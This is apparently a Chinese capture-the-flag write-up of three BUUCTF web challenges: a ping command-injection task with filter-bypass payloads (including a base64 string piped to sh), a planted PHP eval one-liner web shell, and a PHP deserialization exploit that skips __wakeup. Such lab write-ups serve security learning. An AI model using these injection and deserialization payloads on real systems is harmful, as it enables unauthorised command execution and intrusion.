buuCTF之web题目wp

2024-02-28 20:22:10 浏览数 (1)

1Ping Ping Ping

进入环境提示/?ip=,就传一个?ip=127.0.0.1有回显结果, 这是经典的Linux命令执行,使用命令执行的管道符 “|” 执行ls命令列出文件,可以看到题目中含有index.php和flag.php

直接访问flag.php是没有任何显示的。接着用上一步的类似方法 cat flag.php回显为 fxck your space! 空格被过滤了。然后尝试绕过空格 构造ployld

代码语言:javascript复制
/?ip=1|{cat,flag.php}

回显为 fxck your symbol! ,这是,也被过滤了吧…..以 IFS1 的形式也可以代替空格。再次尝试。

代码语言:javascript复制
/?ip=1|cat$IFS$1flag.php

这次回显是 fxck your flag! 这是flag也被过滤了…..尝试用相同方式访问index.php

代码语言:javascript复制
<?php
if(isset($_GET['ip'])){
  $ip = $_GET['ip'];
  if(preg_match("/&|/|?|*|<|[x{00}-x{1f}]|>|'|"|\|(|)|[|]|{|}/", $ip, $match)){
    echo preg_match("/&|/|?|*|<|[x{00}-x{20}]|>|'|"|\|(|)|[|]|{|}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "<pre>";
  print_r($a);
}
?>

flag.php文件真实过滤了不少东西啊……

代码语言:javascript复制
/?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php 

这样就避免了被过滤掉,flag在注释里面。

这个题目还过滤了bash,也提供了一种解决的思路。

代码语言:javascript复制
?ip=1|echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

在后面看大佬博客的时候,发现这道题目也可以实现内联执行,使用 `` 代替 | ,将反引号内命令的输出作为输入执行?

代码语言:javascript复制
?ip=1;cat$IFS$1`ls`

2 Knife

我家菜刀丢了,你能帮我找一下么eval($_POST[“Syc”]);

提示很明显,有一个菜刀,还有一句话木马也挂上了..需要做的就是把蚁剑连上去就行,flag在最外层目录下面。

3 [极客大挑战 2019]PHP

这个题让我反思,现在一直用的原版的程序他爆破的文件是不是要更新下……我不知道别人是怎么跑出来的www.zip这个压缩文件,我这包里直接没有,可以通过访问www.zip下载到这个网站的备份,里面有个flag.php的文件那个是假的。

在index.php里面有这样一段, 加载了一个class.php文件,然后采用get传递一个select参数,随后将之反序列化

代码语言:javascript复制
<?php
   include 'class.php';
   $select = $_GET['select'];
   $res=unserialize(@$select);
   ?>

反序列化的内容,之前省赛的视频里讲过,不过我确实没怎么学好,查看class.php中的内容,可以知道,如果password=100,username=admin,在执行__destruct()的时候可以获得flag,所以我们需要达成这些要求

这时候可以写一个序列化脚本来构造序列化

代码语言:javascript复制
<?php
class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
}
$a = new Name('admin', 100);
var_dump(serialize($a));
?>

在反序列化的时候会首先执行__wakeup()方法,但是这个方法会把我们的username重新赋值,所以我们要考虑的就是怎么跳过__wakeup(),而去执行__destruct

在反序列化字符串时,属性个数的值大于实际属性个数时,会跳过 __wakeup()函数的执行

private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上0的前缀。字符串长度也包括所加前缀的长度

O:4:”Name”:3:{s:14:”Nameusername”;s:5:”admin”;s:14:”Namepassword”;i:100;}

0 人点赞